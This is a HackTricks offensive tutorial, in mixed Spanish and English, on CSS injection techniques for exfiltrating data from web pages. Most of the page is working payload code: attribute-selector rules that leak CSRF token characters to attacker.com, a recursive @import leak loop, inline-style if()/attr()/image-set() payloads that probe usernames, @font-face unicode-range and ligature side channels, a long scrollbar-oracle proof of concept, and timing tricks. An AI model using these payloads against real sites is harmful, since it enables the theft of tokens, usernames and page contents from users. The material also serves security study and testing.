CSS Injection
Reading time: 25 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
CSS Injection
Attribute Selector
Los CSS selectors se crean para coincidir con los valores de los atributos name
y value
de un elemento input
. Si el atributo value
del elemento input
comienza con un carácter específico, se carga un recurso externo predefinido:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Sin embargo, este enfoque presenta una limitación al tratar con elementos input ocultos (type="hidden"
) porque los elementos ocultos no cargan imágenes de fondo.
Bypass para elementos ocultos
Para eludir esta limitación, puedes apuntar a un elemento hermano siguiente usando el combinador general de hermanos ~
. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento input oculto, provocando que se cargue la imagen de fondo:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo here.
Requisitos previos para CSS Injection
Para que la técnica de CSS Injection sea efectiva, se deben cumplir ciertas condiciones:
- Payload Length: El vector de CSS injection debe soportar payloads lo suficientemente largos para acomodar los selectores diseñados.
- CSS Re-evaluation: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la re-evaluación del CSS con payloads recién generados.
- External Resources: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Content Security Policy (CSP) del sitio.
Blind Attribute Selector
As explained in this post, it's possible to combine the selectors :has
and :not
to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combinándolo con la siguiente técnica @import, es posible exfiltrar mucha información usando CSS injection desde páginas blind con blind-css-exfiltration.
@import
La técnica anterior tiene algunas desventajas, revisa los prerequisitos. O necesitas poder enviar múltiples enlaces a la víctima, o necesitas poder iframe la página vulnerable a CSS injection.
Sin embargo, hay otra técnica ingeniosa que usa CSS @import
para mejorar la efectividad de la técnica.
Esto fue mostrado por primera vez por Pepe Vila y funciona así:
En lugar de cargar la misma página una y otra vez con decenas de payloads diferentes cada vez (como en el ejemplo anterior), vamos a cargar la página solo una vez y únicamente con un import al servidor del atacante (este es el payload que enviarás a la víctima):
@import url("//attacker.com:5001/start?");
- The import is going to recibir algún script CSS from the attackers and the browser lo cargará.
- The first part of the CSS script the attacker will send is another
@import
to the attackers server again. - The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
- The second and bigger part of the payload is going to be an attribute selector leakage payload
- This will send to the attackers server the first char of the secret and the last one
- Once the attackers server has received the first and last char of the secret, it will respond the import requested in the step 2.
- The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.
The attacker will seguir ese bucle hasta conseguir leak completamente el secreto.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
tip
The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
/* value^= to match the beggining of the value*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= to match the ending of the value*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
This allows the script to leak the secret faster.
warning
Sometimes the script doesn't detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.
No te preocupes, solo revisa la output porque puedes ver la flag ahí.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: controlar el atributo style de un elemento y asegurarse de que el atributo objetivo esté en el mismo elemento (attr() reads only same-element attributes).
- Read: copiar el atributo en una variable CSS:
--val: attr(title)
. - Decide: seleccionar una URL usando condicionales anidados comparando la variable con candidatas de cadena:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: aplicar
background: image-set(var(--steal))
(o cualquier propiedad que haga fetching) para forzar una petición al endpoint elegido.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Payload funcional (se requieren comillas dobles en la comparación):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerando valores de atributos con condicionales anidados:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Demostración realista (sondeo de nombres de usuario):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Notas y limitaciones:
- Funciona en Chromium-based browsers al momento de la investigación; el comportamiento puede diferir en otros motores.
- Más adecuado para espacios de valores finitos/enumerables (IDs, flags, short usernames). Robar cadenas arbitrariamente largas sin hojas de estilo externas sigue siendo un desafío.
- Cualquier propiedad CSS que obtenga una URL puede usarse para disparar la petición (p. ej., background/image-set, border-image, list-style, cursor, content).
Automatización: a Burp Custom Action puede generar payloads inline-style anidados para brute-force de valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Otros selectores
Otras formas de acceder a partes del DOM con CSS selectors:
.class-to-search:nth-child(2)
: Esto buscará el segundo elemento con la clase "class-to-search" en el DOM.:empty
selector: Used for example in this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
Referencia: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
La intención general es usar una fuente personalizada desde un endpoint controlado y asegurarse de que el texto (en este caso, 'A') se muestre con esa fuente solo si el recurso especificado (favicon.ico
) no puede cargarse.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Uso de fuente personalizada:
- Se define una fuente personalizada usando la regla
@font-face
dentro de una etiqueta<style>
en la sección<head>
. - La fuente se llama
poc
y se obtiene de un endpoint externo (http://attacker.com/?leak
). - La propiedad
unicode-range
está establecida enU+0041
, apuntando al carácter Unicode específico 'A'.
- Elemento
<object>
con texto de fallback:
- Se crea un elemento
<object>
conid="poc0"
en la sección<body>
. Este elemento intenta cargar un recurso desdehttp://192.168.0.1/favicon.ico
. - El
font-family
de este elemento se establece en'poc'
, como se definió en la sección<style>
. - Si el recurso (
favicon.ico
) falla al cargar, se muestra el contenido de fallback (la letra 'A') dentro de la etiqueta<object>
. - El contenido de fallback ('A') se renderizará usando la fuente personalizada
poc
si no se puede cargar el recurso externo.
Estilizando el Scroll-to-text Fragment
La pseudo-clase :target
se emplea para seleccionar un elemento apuntado por un fragmento de URL, como se especifica en la CSS Selectors Level 4 specification. Es crucial entender que ::target-text
no coincide con ningún elemento a menos que el texto sea explícitamente apuntado por el fragmento.
Surge una preocupación de seguridad cuando atacantes explotan la característica Scroll-to-text, lo que les permite confirmar la presencia de texto específico en una página web cargando un recurso desde su servidor mediante HTML injection. El método consiste en inyectar una regla CSS como esta:
:target::before {
content: url(target.png);
}
En tales escenarios, si el texto "Administrator" está presente en la página, se solicita el recurso target.png
al servidor, indicando la presencia del texto. Una instancia de este ataque puede ejecutarse a través de una URL especialmente elaborada que incrusta el CSS inyectado junto con un Scroll-to-text fragment:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Aquí, el ataque manipula HTML injection para transmitir el código CSS, apuntando al texto específico "Administrator" mediante el Scroll-to-text fragment (#:~:text=Administrator
). Si se encuentra el texto, el recurso indicado se carga, señalando involuntariamente su presencia al atacante.
Para mitigar este riesgo, deben considerarse los siguientes puntos:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para leak arbitrary secrets or tokens.
- Restriction to Top-level Browsing Contexts: STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más visible para el usuario.
- Necessity of User Activation: STTF requiere un gesto de user-activation para funcionar, lo que significa que las explotaciones solo son viables mediante navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques se automaticen sin interacción del usuario. No obstante, el autor del blog señala condiciones específicas y bypasses (p. ej., social engineering, interacción con extensiones de navegador muy extendidas) que podrían facilitar la automatización del ataque.
La concienciación sobre estos mecanismos y las posibles vulnerabilidades es clave para mantener la seguridad web y protegerse contra tales tácticas explotativas.
Para más información consulta el informe original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Puedes revisar un exploit using this technique for a CTF here.
@font-face / unicode-range
Puedes especificar external fonts for specific unicode values que solo serán gathered if those unicode values are present en la página. Por ejemplo:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Exfiltración de nodos de texto (I): ligatures
Referencia: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
La técnica descrita consiste en extraer texto de un nodo explotando las ligaduras de fuente y monitoreando cambios en el ancho. El proceso implica varios pasos:
- Creación de fuentes personalizadas:
- Se crean SVG fonts con glyphs que tienen un atributo
horiz-adv-x
, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres. - Ejemplo de glyph SVG:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, donde "XY" denota una secuencia de dos caracteres. - Estas fuentes se convierten luego a formato woff usando fontforge.
- Detección de cambios de ancho:
- Se usa CSS para evitar que el texto haga wrap (
white-space: nowrap
) y para personalizar el estilo de la scrollbar. - La aparición de una scrollbar horizontal, estilizada de forma distinta, actúa como un indicador (oráculo) de que una ligadura específica, y por tanto una secuencia de caracteres concreta, está presente en el texto.
- El CSS implicado:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Proceso de exploit:
- Paso 1: Se crean fuentes para pares de caracteres con ancho sustancial.
- Paso 2: Se emplea el truco basado en la scrollbar para detectar cuándo se renderiza el glifo de gran ancho (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
- Paso 3: Al detectar una ligadura, se generan nuevos glyphs que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter precedente o siguiente.
- Paso 4: Se lleva a cabo la detección de la ligadura de tres caracteres.
- Paso 5: El proceso se repite, revelando progresivamente todo el texto.
- Optimización:
- El método de inicialización actual usando
<meta refresh=...
no es óptimo. - Un enfoque más eficiente podría involucrar el truco de
@import
en CSS, mejorando el rendimiento del exploit.
Exfiltración de nodos de texto (II): leaking the charset with a default font (not requiring external assets)
Referencia: PoC using Comic Sans by @Cgvwzq & @Terjanq
This trick was released in this Slackers thread. The charset used in a text node can be leaked using the default fonts installed in the browser: no external -or custom- fonts are needed.
El concepto gira en torno a utilizar una animación para incrementar progresivamente el ancho de un div
, permitiendo que un carácter a la vez pase de la parte 'suffix' del texto a la parte 'prefix'. Este proceso efectivamente divide el texto en dos secciones:
- Prefix: La línea inicial.
- Suffix: La(s) línea(s) posterior(es).
Las etapas de transición de los caracteres aparecerían como sigue:
C
ADB
CA
DB
CAD
B
CADB
Durante esta transición se emplea el unicode-range trick para identificar cada nuevo carácter a medida que se une al prefix. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente por defecto, desencadenando así una scrollbar vertical. La aparición de esta scrollbar revela indirectamente la presencia de un nuevo carácter en el prefix.
Aunque este método permite detectar caracteres únicos a medida que aparecen, no especifica qué carácter se repite, solo que ha ocurrido una repetición.
tip
Básicamente, el unicode-range is used to detect a char, pero como no queremos cargar una fuente externa, necesitamos encontrar otra forma.
Cuando el char es found, se le asigna la fuente preinstalada Comic Sans, lo que hace que el char sea más grande y dispare una scrollbar que va a leak the found char.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Referencia: Esto se menciona como an unsuccessful solution in this writeup
Este caso es muy similar al anterior; sin embargo, aquí el objetivo de hacer que caracteres específicos sean más grandes que otros para ocultar algo —como un botón que no sea pulsado por el bot o una imagen que no se cargue—. Así, podríamos medir la acción (o la falta de la misma) y saber si un carácter específico está presente en el texto.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Referencia: Esto se menciona como an unsuccessful solution in this writeup
En este caso, podríamos intentar leak si un carácter está en el texto cargando una fuente falsa desde el mismo origen:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1
. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1
flag, which is really thoughtful.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
Referencia: Esto se menciona como an unsuccessful solution in this writeup
En este caso puedes indicar CSS para cargar cientos de fuentes falsas desde el mismo origen cuando ocurre una coincidencia. De esta manera puedes medir el tiempo que toma y averiguar si aparece un char o no con algo como:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Y el código del bot se ve así:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Entonces, si la fuente no coincide, el tiempo de respuesta al visitar el bot será aproximadamente de 30 segundos. Sin embargo, si la fuente coincide, se enviarán múltiples solicitudes para recuperarla, provocando actividad continua en la red. Como resultado, tardará más en cumplirse la condición de parada y en recibirse la respuesta. Por lo tanto, el tiempo de respuesta puede utilizarse como indicador para determinar si hay una coincidencia de fuente.
Referencias
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.